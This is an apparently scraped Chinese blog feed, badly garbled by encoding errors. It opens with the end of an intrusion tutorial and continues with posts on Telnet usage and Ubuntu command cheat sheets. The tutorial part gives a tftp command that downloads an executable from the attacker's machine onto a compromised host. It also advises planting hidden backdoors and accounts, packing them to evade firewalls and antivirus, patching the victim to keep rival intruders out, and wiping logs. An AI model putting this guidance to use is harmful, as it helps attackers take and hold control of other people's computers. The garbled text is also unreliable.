Protocol)来实现文件的传送是一U基于UDPq接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软g构成一个完整的传输l构。它是这样用的Q?首先q行本地的TFTP ServerQ比如tftpd32.exeQY件ƈ保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)q行下面的命令: <br>  C:>tftp –i ip get xinxin.exe c:abcxinxin.exe <br>  其中ipZ自己机器的ipQ且上传文g要与TFTP服务器端在同一目录下,q样你就可以把xinxin.exe上传到c盘abc目录下了Q其实是从tftp服务?span class=t_tag onclick=tagshow(event) href="tag.php?name=%CF%C2%D4%D8">下蝲</span>来的Q?<br><br>  需要指出的是,如果使用代理IPQ你不能实C外部|络的文件传送。因Z的代理网兛_q行数据装的时候会自qIP地址加入C的数据报中,代替你的内部|络地址Q所以在外部|络q行MACd时是找不Cq台TFTP服务器的?<br><br>  3 安置后门 <br><br>  安置后门攑֜W二步好像早了点Q如果你入Rq有其他目的Q比如以破坏ZQ或者是来修改主늚Q那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧?<br><br>  后门的种cȝ多,也给我们提供了很大的选择余地Q能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有Q?span class=t_tag onclick=tagshow(event) href="tag.php?name=%C4%BE%C2%ED">木马</span>Qasp木马Q远E控制YӞ克隆帐户Q徏立ƈ隐藏帐户QtelnetQtelnet扩展的shellQ终端服务等。安|一个好的后门通常要注意以下几点: <br><br>  1 不会?span class=t_tag onclick=tagshow(event) href="tag.php?name=%B7%C0%BB%F0%C7%BD">防火?/span>查杀及阻通信Q被加入病毒库的后门最好加壳以逃过防火墙,量用低端口通信Q以免被防火墙屏蔽?<br><br>  2 最大限度增加隐蔽性:如果你选择q程控制软gQ要注意被控端的安装提示和小图标Q以及是否同步画面;如果你在帐户上做文章Q要量保持在cmd和用L理中都不出破l;如果你选择放木马或telnet扩展Q要注意文g和进E的隐藏Q如果新开了终端服务(入R前ƈ没有开Q,一定要该掉3389q个昄的端口,且越低越好?<br><br>  3 不要当管理员不存在:q是一个大忌,许多朋友在只有默认帐L机器上徏立类?;hacking';的管理员帐户Q真是无知者无畏呀。所以安|后门的时候,x理员疏忽的地方会在哪里?<br><br>  4 打补?<br><br>  如果想独霸肉鸡,p会打补丁Q要知道对肉鸡的竞争是很Ȁ烈的。怎么打补丁呢Q这个也要问Q想想你是怎么q来的吧。算了,提示一下,除了修补大的漏洞以外Q上传官方补丁ƈq行Q,也要注意它的׃nQipc$׃nQ最好都关闭Q,可疑端口Q容易被利用的服务等。不q打补丁也要注意隐蔽性的Q不要让理员发现大的改动?<br><br>  5 清除<span id="0e8qcag" class=t_tag onclick=tagshow(event) href="tag.php?name=%C8%D5%D6%BE">日志</span> <br><br>  可以手动或利用YӞ如果不太会就L相关教材吧,在这里我不详l介l了?<br><br>  ?l束?<br><br>  文章的前部分主要说了一些原理性的东西Q后部分则侧重于应用Q写的多了难免会有些遗漏?br><br>************************************************<br>当开始运行Telnet?情况如何?一个应用系l由两部分组?“client”——这是Telnet介所说的客户机,另一部分?#8220;server”——这是运行于|络计算Z提供服务的系l,UC为服务器。而网l(即用TCP也用UDP的服务器Q则是提供两者(Clinet与Server)通信?span class=t_tag onclick=tagshow(event) href="tag.php?name=%B9%A4%BE%DF">工具</span>?<br>q里要求客户机必d? <br>(1)建立一个网l与服务器间的TCPq接 <br>(2)以方便的方式接收输入 <br>(3)Ҏ些标准的格式化输入作重新格式化ƈ作重新格式化q传送给服务器?<br>(4)以某些标准的格式化从服务器中接受输出 <br>(5)重新格式化显C给自己的输?<br>服务器Y件是q行于主Z提供服务的系l,如果没有q行服务pȝQ也׃能提供相应的服务?<br>某一cL务被调用Q它可以: <br>(1)通知|络软gQ让它准备连接; <br>(2){待一个标准的格式化要求的产生Q?<br>(3)服务hQ?<br>(4)传送一个标准格式的l果l客P <br>(5)重新{待 <br>一个服务器应该能够处理各种客户Q有的是q行在同cȝ<span id="s8ae80o" class=t_tag onclick=tagshow(event) href="tag.php?name=%B5%E7%C4%D4">电脑</span>上的Q而有的是q行?IBM / PCs , Macintoshes , Amigas{各U不同的机器上。ؓ了做到这一点,服务器必d有一套通信规则Q这U规则通常叫做协议。由于Telnet协议用于两个应用层之间所以叫做应用层协议。Q何h都可以在Mcd的电脑上~制一个客h。只要这个客h可以<span id="wyaw8qe" class=t_tag onclick=tagshow(event) href="tag.php?name=%C9%CF%CD%F8">上网</span>通讯q守协议,他就可以q入服务器。实际上也就是说Q用L Macintosh可以使用Telnet和其他的的Internet的工P从而能让很多不同的pȝ为其工作?<br>׃用来_一个应用层协议通常允许客户机和服务器有不同的数据设定,q告客户机和服务器用相互的通信方式。这些经常是有每行在开始的几个字节的文本程序来完成的。如果服务器发送一个以“TXT”字符开头的行命令给客户Q那么这?“TXT” 后边其他的数据就被送入屏幕昄。如果一行的开始是?#8220;CMD”开始,则表明这些信息是从服务Y件到客户软g。用者是看不到这些的Q这是因为在信息传送到时这些控制信号已L了?<br><br>除了在Telnet是如何工作的例子介绍的以?Telnetq有很多的特炏VTelnet可发送除?escape"的Q何字W到q程L上。因?escape"字符在Telnet中是客户机的一个特D的命o模式Q它的默认值是"Ctrl-]"。但要注意不要与键盘上的Esc键؜淆,我们可以讑֮"escape"ZQ意某个字W,只是对Telnet来说以ؓ着该字W不可能再被传送到q程L上,而Esc键是一非打印字W,Telnet用它?span class=t_tag onclick=tagshow(event) href="tag.php?name=%C9%BE%B3%FD">删除</span>q程pȝ中的命o。而且q应CQ?escape"字符q不M"Ctrl-]"来表C?<br>可以仅仅键入Telnet,后面不带机器字句。这U情况下所看到的是Telnet>,q是告知Telnet在等待键入命令,比如键入问号"?"那么得C个有用的命o表: <br>telnet: ? <br>CoMMands may be abbreviated, CoMMand are: <br>open connect to a site <br>close close currect connection <br>quit exit telnet <br>display display operating parameters <br>send transmit special characters (';send ?'; for more) <br>set set operating parameters(';set ?'; for more) <br>status print status information <br>toggle toggle operating parameters(';toggle ?'; for more) <br>mode try to enter line-by-line or character-at-a-time mode <br>? print help information <br>虽然命o很多Q甚臌有子命oQ但只有一些是常用的。现在介l以下的几个Q?<br>CloseQ?<br>该命令用语终止连接。它自动切断与远E系l的q接Q也可以用它退出TelnetQ在冒失的进入一个网l主机时Q想退出的话,可以用到这个命令?<br>openQ?<br>用它来与一个命名机器连接,要求l出目标机器的名字或IP地址。如果未l出机器名,Telnet将要你选择一个机器名。必L意,在?Open"命o之前应该先用"close"来关闭Q何已l存在的q接?<br>Set ECHOQ?<br>用于本地的响应是On或是Off。作用是是否把输出的内容昄在屏q上。和DOS的ECHO基本上是一栗如果机器是处于ECHO ON的话Q想改变为OFFQ那么就可以输入SET ECHO,惛_改变回ECHO OFFQ那么就再键入SET ECHO可以了?q儿说的比较?如果有不明白?可以与我联系) <br>Set escape char: <br>建立"escape"字符到某个特D的W号Q若想用某种控制W号来代替,可以?asis"或者键入符?^"加字母b(如:^bQ。在正常工作Ӟ是不需要用"escape"q个字符的,q且q个被用?escape"的符号不应该再被使用。这cM于许多程序中寚w盘上的每一个键讑֮其真正的涵义。但如果正在q行一?daisy-chained 应用pȝQ那么可以重新议?escape"字符的特征便是很有用的。例如:用Telnet从系lA到系lBQ接着又用Telnet注册q入pȝC。如果正在系lC上工作时Z<span id="g0ikmcs" class=t_tag onclick=tagshow(event) href="tag.php?name=%B9%CA%D5%CF">故障</span>Q那么当"escape"代表W是相同Ӟ没法中断系lB到系lC的连接。键?escape"代表W,L处于pȝA的命令模式。如果在每个Telnet部分使用不同?escape"代表W,便可以通过键入适当的符P来选择其中一个命令模式,q也可以用于其他的应用中Q像l端仿真Q?<br>Quit: <br>用它可顺利地推出TelnetE序?<br>Z: <br>用语保留Telnet但暂时回到本地系l执行其他命令。ƈ且在Telnet中的q接以及其他的选择在Telnet恢复时仍被保留?<br>Carriage Return: <br>用于不具体的一个命令从命o模式q回到所q接的远E机器上。另外,q有许多其他的命令可以推出命令模式。下面D一个例子,是从注册q入到porky.math.ukans.edu ,然后q入命o模式Q然后返回porky:: <br>telnet porky.math.ukans.edu <br>Trying 129.237.128.11... <br>Connected to porky.math.ukans.edu. <br>Escape character is ';^]';. <br>SunOS UNIX(porky) <br>login:wl <br>password: <br>Last Login: Tue Mar 28 05:35 from ns.bta.net.cn <br>SunOS Release 4.1.3_U1(SLIPPERY1) #3: Sun Nov 20 23:47:23 CST 1999 <br>No match. <br>if:Expression syntax. <br>porky/serv/wl%cd/ <br>porky/%CTRL-] <br>telnet:? <br>CoMMands may be abbreviated, CoMMand are: <br>open connect to a site <br>close close currect connection <br>quit exit telnet <br>display display operating parameters <br>send transmit special characters (';send ?'; for more) <br>set set operating parameters(';set ?'; for more) <br>status print status information <br>toggle toggle operating parameters(';toggle ?'; for more) <br>mode try to enter line-by-line or character-at-a-time mode <br>? print help information <br>telnet:set escape ^b <br>escape character is ’^b’ <br>porky/%logout <br>ns.bta.net.cn% <br>注意Qset命o也可以退出命令模式。当Ӟ如果不行Q可以回车输入一IQ也能回到porky?br><a >http://baike.baidu.com/view/44255.htm</a> <img src ="http://www.shnenglu.com/zzfmars/aggbug/132838.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/zzfmars/" target="_blank">Kevin_Zhang</a> 2010-11-07 09:42 <a href="http://www.shnenglu.com/zzfmars/archive/2010/11/07/132838.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ubuntu 10.04 ?/title><link>http://www.shnenglu.com/zzfmars/archive/2010/08/28/125091.html</link><dc:creator>Kevin_Zhang</dc:creator><author>Kevin_Zhang</author><pubDate>Sat, 28 Aug 2010 15:01:00 GMT</pubDate><guid>http://www.shnenglu.com/zzfmars/archive/2010/08/28/125091.html</guid><wfw:comment>http://www.shnenglu.com/zzfmars/comments/125091.html</wfw:comment><comments>http://www.shnenglu.com/zzfmars/archive/2010/08/28/125091.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/zzfmars/comments/commentRss/125091.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/zzfmars/services/trackbacks/125091.html</trackback:ping><description><![CDATA[ubuntu 10.04 source<br> q是电子U技大学的源Q教育网的速度q可以,比自带的源快了很多?br>修改源的ҎQ?br> 在终端输入:sudo gedit /etc/apt/sources.list<br>然后再打开的源文g中将原来的源列表替换Z面的列表卛_?nbsp;<br> <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="COLOR: #000000">deb http:</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ubuntu.dormforce.net/ubuntu/ lucid main restricted universe multiverse</span><span style="COLOR: #008000"><br></span><span style="COLOR: #000000">deb http:</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ubuntu.dormforce.net/ubuntu/ lucid-backports main restricted universe multiverse</span><span style="COLOR: #008000"><br></span><span style="COLOR: #000000">deb http:</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ubuntu.dormforce.net/ubuntu/ lucid-proposed main restricted universe multiverse</span><span style="COLOR: #008000"><br></span><span style="COLOR: #000000">deb http:</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ubuntu.dormforce.net/ubuntu/ lucid-security main restricted universe multiverse</span><span style="COLOR: #008000"><br></span><span style="COLOR: #000000">deb http:</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ubuntu.dormforce.net/ubuntu/ lucid-updates main restricted universe multiverse</span><span style="COLOR: #008000"><br></span><span style="COLOR: #000000">deb</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">src http:</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ubuntu.dormforce.net/ubuntu/ lucid main restricted universe multiverse</span><span style="COLOR: #008000"><br></span><span style="COLOR: #000000">deb</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">src http:</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ubuntu.dormforce.net/ubuntu/ lucid-backports main restricted universe multiverse</span><span style="COLOR: #008000"><br></span><span style="COLOR: #000000">deb</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">src http:</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ubuntu.dormforce.net/ubuntu/ lucid-proposed main restricted universe multiverse</span><span style="COLOR: #008000"><br></span><span style="COLOR: #000000">deb</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">src http:</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ubuntu.dormforce.net/ubuntu/ lucid-security main restricted universe multiverse</span><span style="COLOR: #008000"><br></span><span style="COLOR: #000000">deb</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">src http:</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ubuntu.dormforce.net/ubuntu/ lucid-updates main restricted universe multiverse</span></div> <br><br> <img src ="http://www.shnenglu.com/zzfmars/aggbug/125091.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/zzfmars/" target="_blank">Kevin_Zhang</a> 2010-08-28 23:01 <a href="http://www.shnenglu.com/zzfmars/archive/2010/08/28/125091.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Ubuntu 安装http://www.shnenglu.com/zzfmars/archive/2010/08/27/124975.htmlKevin_ZhangKevin_ZhangFri, 27 Aug 2010 14:15:00 GMThttp://www.shnenglu.com/zzfmars/archive/2010/08/27/124975.htmlhttp://www.shnenglu.com/zzfmars/comments/124975.htmlhttp://www.shnenglu.com/zzfmars/archive/2010/08/27/124975.html#Feedback0http://www.shnenglu.com/zzfmars/comments/commentRss/124975.htmlhttp://www.shnenglu.com/zzfmars/services/trackbacks/124975.htmlhttp://bbs.cfanclub.net/read.php?tid-274934.html

Kevin_Zhang 2010-08-27 22:15 发表评论
]]>
ubuntu常用命o集合http://www.shnenglu.com/zzfmars/archive/2010/08/20/124047.htmlKevin_ZhangKevin_ZhangThu, 19 Aug 2010 18:32:00 GMThttp://www.shnenglu.com/zzfmars/archive/2010/08/20/124047.htmlhttp://www.shnenglu.com/zzfmars/comments/124047.htmlhttp://www.shnenglu.com/zzfmars/archive/2010/08/20/124047.html#Feedback0http://www.shnenglu.com/zzfmars/comments/commentRss/124047.htmlhttp://www.shnenglu.com/zzfmars/services/trackbacks/124047.html

1.在终端中或者按alt+f2,在其中输入程序名U即?如运行EVA,则只需 键入“eva”卛_Q无需附带路径?br> (cMWindows下的q行),最基本的操作入?
2.dE序快捷方式到菜单中
pȝQ首选项Q主菜单Q新建项?br> 填入命oQ即E序名称,如要建立sopcast的快h式,则输入sopcast卛_Q?br>
3.虚拟光驱部分

挂蝲ISO文g,sudo mount -o loop files.iso 目标文g夹(sudo在终端中暂时取得root权限Q?br> 卸蝲              sudo umount 挂蝲文g?br>   
如挂?/home/dudu/XP.iso ?/home/dudu/iso文g?br>          sudo mount -o loop /home/dudu/XP.iso /home/dudu/iso
or sudo mount -t iso9660 /home/dudu/XP.iso /home/dudu/isoQiso9660为指定文件格式)

卸蝲ISO文g sudo umount /home/dudu/iso

.iso文g的徏?br> 1.从文件夹建立Q如?home/dudu/ebooks/下的文g镜像?home/dudu/ebooks.iso
(sudo) mkisofs -o /home/dudu/ebooks.iso /home/dudu/ebboks/
2.从光驱徏?光驱路径Ҏ实际情况会有所不同)
sudo umount /media/cdrom0
(sudo) dd if=/media/cdrom0 of=/home/dudu/ebooks.iso bs=1024

文g烧录(也可使用k3b{程序烧?
1.格式化盘?br>       sudo umount /media/cdrom0
      (sudo) cdrecord dev=/media/cdrom0 blank=fast
2.烧录
命o行输?nautilus burn:///
再打开新窗口,文件拖入刻录窗口即?br>   
4.q入目录 cd 目标文g?br> q回上一U目?cd ..
cd ~ ?cd 回当前用L宿主目录
cd ~用户名回指定用户的宿ȝ?br> cd - 回上一ơ所在的目录
  
5.新徏文g夹,当然你也可以通过右键建立Q如?home/dudu下徏名ؓiso的文件夹
sudo mkdir /home/dudu/iso
׃使用了sudoQ此文g夹只有root才能改动

6.取得root权限
sudo su
or sudo -i
以rootw䆾使用文g理?如我要在囑Ş界面下删除上面徏立的iso文g?br> sudo nautilus
  
密码修改(慎用)
root密码修改 sudo passwd root 然后二次输入密码

7.文g理部分
文g备䆾Q复Ӟ,sudo cp
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup
Q备?etc/samba/smb.comf?etc/samba/下,命名为smb.conf_backupQ?nbsp; 
Ud mv 格式同cp
删除 rm filename
ls -a 列出当前目录下的所有文Ӟ包括?头的隐含文g
ls -l或ll 列出当前目录下文件的详细信息

链接Q和WIN下快h式差不多Q,摘自《鸟哥私房菜?br> ln 源文仉接名 创徏当前目录源文件的链?br> ln /home/test /usr/test1 ?usr下徏?home/test的硬链接
ln -s a b 创徏当前目录下a的符号链接b
Qs参数形成symbolic链接Q相当于快捷方式.此外Q如果你做了底下q样的连l:
ln –s /bin /root/bin
? 么如果你q入 /root/bin q个目录下,Q请注意呦!该目录其实是 /bin q个目录Q因Z做了q结档了Q)所以,如果你进? /root/bin q个刚刚建立的连l目录,q且其中的数据杀掉时Q嗯Q?/bin 里面的数据就通通不见了Q这点请千万注意Qƈ不是 /root 底下的资料都?root 的!q需要注意一下该属性才?br>

8.ADSL
开始设|sudo pppoeconf Q然后一路enterQ填上用户名和密码就OK?br> 手工断线 sudo poff
手工q接 sudo pon dsl-provider
查看q接日志     plog
查看q接详情 ifconfig
有线|络内有漫游和DHCP两种模式QO游就是让它自动寻扑֏用连接,一般用DHCP
ping命o使用 ping ip/|址 -c 要ping的次?(|址前无http://)

9.samba的一些设|?与XP互联?
工作l设|?br> 1.文g备䆾 sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup
2.打开~辑?sudo gedit /etc/samba/smb.conf
扑ֈ     workgroup=MSHOME, ?    workgroup=new_domian_or_workgroup 替换,保存关闭
3. sudo testparm
4.重启samba sudo /etc/init.d/samba restart

10.软g安装方式
1.新立德安?br> 2. .deb包安装双d可,也可到终端安装,如安?home/dudu/file.debsu
   安装 sudo dpkg -i /home/dudu/file.deb
   卸蝲 sudo dpkg -r fileQ此处直接填写程序名Uͼ卌单里的名Uͼ
   重新配置或修?sudo dpkg-reconfigure file
3.gz压羃包编译安装,如安?home/dudu/text.tar.gz
1.解压~?tar zxvf /home/dudu/text.tar.gz (默认解压到当前用户主目录?
   然后转到解压后文件夹?cd /home/dudu/text

Q若文g夹中存在*.plQ?.sh文gQ则sudo ./*.pl or ./*.sh卛_完成安装Q以下是~译安装Q?br>
2.执行./configure (./configure --prefix=路径Q即可装入指定目?
3.执行makeQ如果没问题
4.执行make install
4.rpm?br> 1.安装alien
   sudo apt-get install alien
2.通过alien安装rpm?br>    alien -d package-name.rpm
5..bin文g安装
   chmod +x filename.bin (取得权限)
   ./filename.bin

11.压羃文g部分
1.zip格式
1.d压羃文g?/home/dudu/zip ?home/dudu/winrar.zip
zip /home/dudu/winrar.zip zip
?zip 文g夹和winrar.zip均在../dudu下(即主目录Q压~文件可dCQ何\径,但是源文仉?./dudu下,可以是文件也可以是文件夹Q? 否则压羃文g解压后会是从/home/dudu/........./zipQ即Z新徏的home文g夹开始的多个包含文g夹,如zip /home/dudu/winrar.zip /home/dudu/zip/则在../dudu下生成home文g夹,里面包含dudu和zip两个文g夹)
zip -m /home/dudu/winrar zip压羃Qƈ自动删除原始文gzip
zip -r 压羃Q包含子目录中的内容
zip -j 压羃Q忽略子目录中的内容
zip -1 压羃Q压~率?
2.解压~?br> unzip /home/dudu/winrar.zip 解压到当前文件夹

2.tar与gzip
   说明Qtar无法Ҏ件进行压~,但可以把文g打包。而gzip虽然可以压羃文gQ却不能把文件打包。所以我们经常把两个命ol合使用Q?tar.gz的文件。一般压~流E是先用tar打包Q再用gzip压羃文g?br>    # tar cvf test.tar * 把当前目?*)下的文g打包Q若有链接文Ӟ直接链接写?br>    # tar zcvf test.tar.gz * 把当前目?*)下的文g打包q压~ؓgz格式
   # tar jcvf test.tar.bz2 * 把当前目录下的文件打包ƈ压羃为bz2格式
   # tar hcvf test.tar * 把当前目录下的文件打包,若有链接文gQ直接将原始文g写入

   # tar xvf test.tar 把test.tar解包
   # tar zxvf test.tar.gz 把test.tar.gz解压~ƈ解包

   gzip 压羃文g
   # gzip file1 压羃file1Qƈ删除原始文gQ这点务必要注意
   # gzip -1 * 压羃本目录所有文Ӟ压羃率ؓ1-9Q?最高,默认6
   # gzip -d file1.gz 解压file1.gz文g
   gunzip 解压文g
   # gunzip file1.gz 解压file1.gz文g

12.可移动介质无法打开问题解决Q重启DBUS,也可用来解决开机出?failde to initialize HAL" bug
sudo /etc/init.d/dbus restart

13.Mplayer无法播放rmvb,rm(参见wiki)
首先定安装了w32codecs,打开Mplayer界面上右?- perferences - video - x11/vx

14.在桌面显C我的电脑等图标
gconf-editor
?apps/nautilus/desktop/分支下选择相应目

15.sudo apt-get install lunar-applet
d农历日期

16.q程理,也可通过pȝQ系l管理-pȝ监视器进行管?br> ps -A查看q程
kill -9 q程Pl止q程
l束l端中运行的操作Q如想终止Wget{等.
ctrl+c

17.开x的一些操?br> ctrl+alt+backspace d桌面
sudo shutdown now -h     x
sudo reboot              重启
ctrl+alt+F1              q入控制収ͼ全字W界面)

18.解决主菜单及应用E序菜单无法打开(安装wine后可能会出现q个问题)
gmenu-simple-editor 然后选择默认?br>
19.启动服务理,同XP的msconfig讄开启动?br> sudo sysv-rc-conf

20.opera 无法输入中文
先安装QT
sudo apt-get install scim-qtimm ,同样适用于EVA
1.opera中切换到主页的快h式删?br> 2.sudo gedit /usr/bin/opera
W二行添?br> export QT_IM_MODULE="scim" Q去掉双引号也可Q?br>
21.通过sudo apt-get方式安装软g时下载的包默认保存目?br> /var/cache/apt/archives

22.文g权限
chmod chmod u+s file 为file的属d上特D权?br> chmod g+r file 为file的属l加上读权限
chmod o+w file 为file的其它用户加上写权限
chmod a-x file 为file的所有用户减L行权?br> chmod 765 file 为file的属主设为完全权限,属组设成d权,其它用户h?br>
chown chown root /home ?home的属L成root用户
chgrp chgrp root /home ?home的属l改成rootl?br>
23.盘部分
1.挂蝲FAT # mount –t vfat /dev/hda5 /mnt/cdrom 挂第一个ide的第五个逻辑分区
2.df 用于报告文gpȝ的d量,使用量,剩余定w?br> 3.du -b /home 查看目前/HOME目录的容?k)及子目录的容?k)?br> 4. fdisk -l 查看pȝ分区信息
5. fdisk /dev/sdb Z块新的SCSI盘q行分区

24.修复Grub
1.用Live cd引导q入l端
2.sudo grub                        
   find /boot/grub/stage1
   (?boot单独分出Q则?grub/stage1替换,stage1也可用menu.lst替换)
root (hdX,Y)
   setup (hdX)
   quit
   (注意Q其中XQY是输入find后出现的提示)

25.glxinfo|grep "direct rendering" 查看昑֍3D加速是否打开

26./etc/init.d/halt x讄的配|文Ӟ可以更改盘掉电旉{?br>
27.密码重置
1.开?br> 2.在grub启动列表中按ESC
3.?e 来修改^时启动的那个选项
4.在kernel***那一行再?e
5.在最后面加上 rw init=/bin/bash
6.按确?br> 7.?b 来启?br> 此时是你在用root用户Q所以要心不要乱按其他命oQ除非你知道你在q什么?br> 8.?passwd <用户?gt; 来重设你的密?br> 9.重启 shutdown -r now

28.sudo dpkg-reconfigure xserver-xorg 重调分L?br>
29.更改d是的黄色背景
sudo gedit /etc/gdm/PreSession/Default
扑ֈ
# Default value
if [ "x$BACKCOLOR" = "x" ]; then
   BACKCOLOR="#dab082"
fi
#dab082 是颜色 可以随便攏V?br> ?Linux常用命o全集
WEB?   
http://linux.chinaitlab.com/special/linuxcom/Index.html



Kevin_Zhang 2010-08-20 02:32 发表评论
]]>
ubuntu l端命o?2http://www.shnenglu.com/zzfmars/archive/2010/08/20/124046.htmlKevin_ZhangKevin_ZhangThu, 19 Aug 2010 18:30:00 GMThttp://www.shnenglu.com/zzfmars/archive/2010/08/20/124046.htmlhttp://www.shnenglu.com/zzfmars/comments/124046.htmlhttp://www.shnenglu.com/zzfmars/archive/2010/08/20/124046.html#Feedback0http://www.shnenglu.com/zzfmars/comments/commentRss/124046.htmlhttp://www.shnenglu.com/zzfmars/services/trackbacks/124046.html整个电脑都划成ubuntu用?br> 装Y件时的一个明显感觉就是很多事情,用终端的命o行去做很ҎQ用囑Ş界面往往很复杂,而且很多时候还会出现权限的问题Q对于ubuntu的用h限,现在的唯一感觉是权限在ubuntu里很重要Q很多操作都对应着相应的权?br> 现在把常用的一些命令在q里集中一下,q样以后自己用着也方便一点,不用再开好几个页面看来看MQ?br>
以下均ؓ|上搜集Q非原创...........

sudo:需要提升权限执行的命o

  • 如果您所在的目录或想操作的文件不在您的帐h在的目录Q下面的大多数命令都需要? sudo 命o。这是一个特D的命oQ它l你临时的权限来修改pȝ讄。终端会询问你的密码?/li>

文g & 目录cd?/span>

  • pwd Q?strong>pwd 命o查看您当前所处的路径Q?strong>pwd 代表 "打印当前工作目录"Q。例如:在桌面文件夹中执?"pwd" 命o输?"~/Desktop"。注意,Gnome 的终端在H口标题中也会显C一信息-具体L本页剙的截屏图片?/li>
  • cd Q?strong>cd 命o用来改变当前工作目录。当您打开一个终端的时候,您就位于您的home目录中。如果想要切换到其它的目录,p? cd 命o。例如:
  • q入root目录Q输?"cd /"
  • q入到您自己的目录(home目录Q,输入 "cd"
  • q入当前目录的上一层目录,输入 "cd .." (译者注Qcd ?.. 之间有空?
  • q入前一个操作的目录Q输?"cd -"
  • 一ơ进入多层目录,输入 "cd /var/www" ,会直接切换?var的子目录/www中。另一个例子, "cd ~/Desktop" 会q入到您的桌面目?/li>
  • cp Q?strong>cp 命o用来复制文g。例如:"cp file foo" 命o会创徏一?file"的精的副本Qƈ命名?foo",? "file"不会有Q何变化。如果是复制目录Q那得?strong>"cp -r directory foo" Q递归地复Ӟ?/li>
  • mv Q?strong>mv 命o文件移动到另一个位|或者给文g更名。看下面的例子:"mv file foo" 命o会将文g"file"更名?foo"?strong>"mv foo ~/Desktop" 会将文g"foo"Ud到桌面目录,但不会更名。如果想更名Q你必须要指定一个新的名字?/li>
  • Z输入方便Q您可以?'~' W号来代替您的home目录?/li>
  • 如果在用mv命o的时候前面加上了sudoQ那?#8220;~“q个W号可以正怋用,l端会把他替换成你自己(普通用P的home目录。而如果你? ”sudo -i“或?#8221;sudo -s“打开了一个root用户的终端,那么q时”~“指代root用户的home目录Q而非你自q?/li>
  • rm Q这个命令用来移动或删除文g。对于非I的目录Q用q个命o不能删除?/li>
  • rmdir Q命?strong>rmdir 用来删除“I?#8221;目录。要删除目录和其中的所有内容,则需使用rm -r ?/li>
  • mkdir Q?strong>mkdir 命o用来创徏目录。例如:"mkdir music" 会创徏一?music 目录?/li>
  • man Q?strong>man 命o用来昄其它命o的手册页。执?"man man" 可以查看? man自己的信息。通过 "Man & Getting Help"能够分页昄更多的信息?/li>
  • Linux/Ubuntu tar命o详解使用格式和方?

    格式Q?tar 选项 文g目录列表
    功能Q?Ҏ件目录进行打包备?br> 选项Q?br> -c 建立新的归档文g
    -r 向归档文件末追加文?br> -x 从归档文件中解出文g
    -O 文件解开到标准输?br> -v 处理q程中输出相关信?br> -f Ҏ通文件操?br> -z 调用gzip来压~归档文Ӟ?x联用时调用gzip完成解压~?br> -Z 调用compress来压~归档文Ӟ?x联用时调用compress完成解压~?/span>

    例如Q?/span>

    1.当前目录下所?txt文g打包q压~归档到文gthis.tar.gzQ我们可以?/span>

    tar czvf this.tar.gz ./*.txt

    2.当前目录下的this.tar.gz中的文g解压到当前目录我们可以?/span>

    tar xzvf this.tar.gz ./

pȝ信息cd?/span>

  • df Q?strong>df 命o用来查看各个文gpȝ当前的空间用状c?strong>"df -h" 可能是最有用的选项?它以M和G为单位输出,而不是以块ؓ单位?-h 的含义是“便于阅读”)
  • du Q?strong>du 命o可以昄某一个目录用了多少盘I间。它可以昄该目录中的各个子目录分别使用了多空_也可以显C当前目录一共占了多空间?/li>
  • -s 代表”概况、总览“Q?strong>-h 则代?#8221;易于人阅?#8220;?/li>
  • free Q?strong>free 命o用来查看pȝ中用和剩馀的内存情c?strong>"free -m" 结果以M为单位输出,q对现在的计机来说非常有用?/li>
  • top Q?strong>top 命o用来查看linuxpȝ的信息,q行着的进E和pȝ资源Q包? CPU、内存以及交换分Z用情况和q行着的Q务的ȝ数量。退?top Q按"q" ?/li>
  • uname -a Q?strong>uname 命o?-a 参数用来查看pȝ的所有信息,包括 机器名,内核名称 & 版本 和一些其它的l节。它最大的用处是用来查看当前所用内核的信息?/li>
  • lsb_release -a Q?strong>lsb_release 命o?strong>-a 参数查看当前q行的linux的版本信?/li>
  • ifconfig 昄当前pȝ的网l接口信息?

    d新用?/span>

  • "adduser newuser" 命o用来创徏一个用户名?newuser"的新用户Qؓ新用?newuser 创徏一个密码,使用如下命o"passwd newuser" ?/li>

选项

命o的默认操作常怼被指定一个确定的 --参数 所修改。例?strong>ls 命o有一?strong>-s 参数Q因? "ls -s" ׃额外的显C出文g的大。它也有一? -h 参数Q将文g的大以很好的可L的格式输出。参数可以以聚?比如 "ls -sh" ?strong>"ls -s -h" 的效果相同。大多数的参数都很长Q两个破折号前缀代表一个参敎ͼ所?strong>"ls --size --human-readable" 也和上面得命令相同?/p>

 'Man' ? 获得帮助

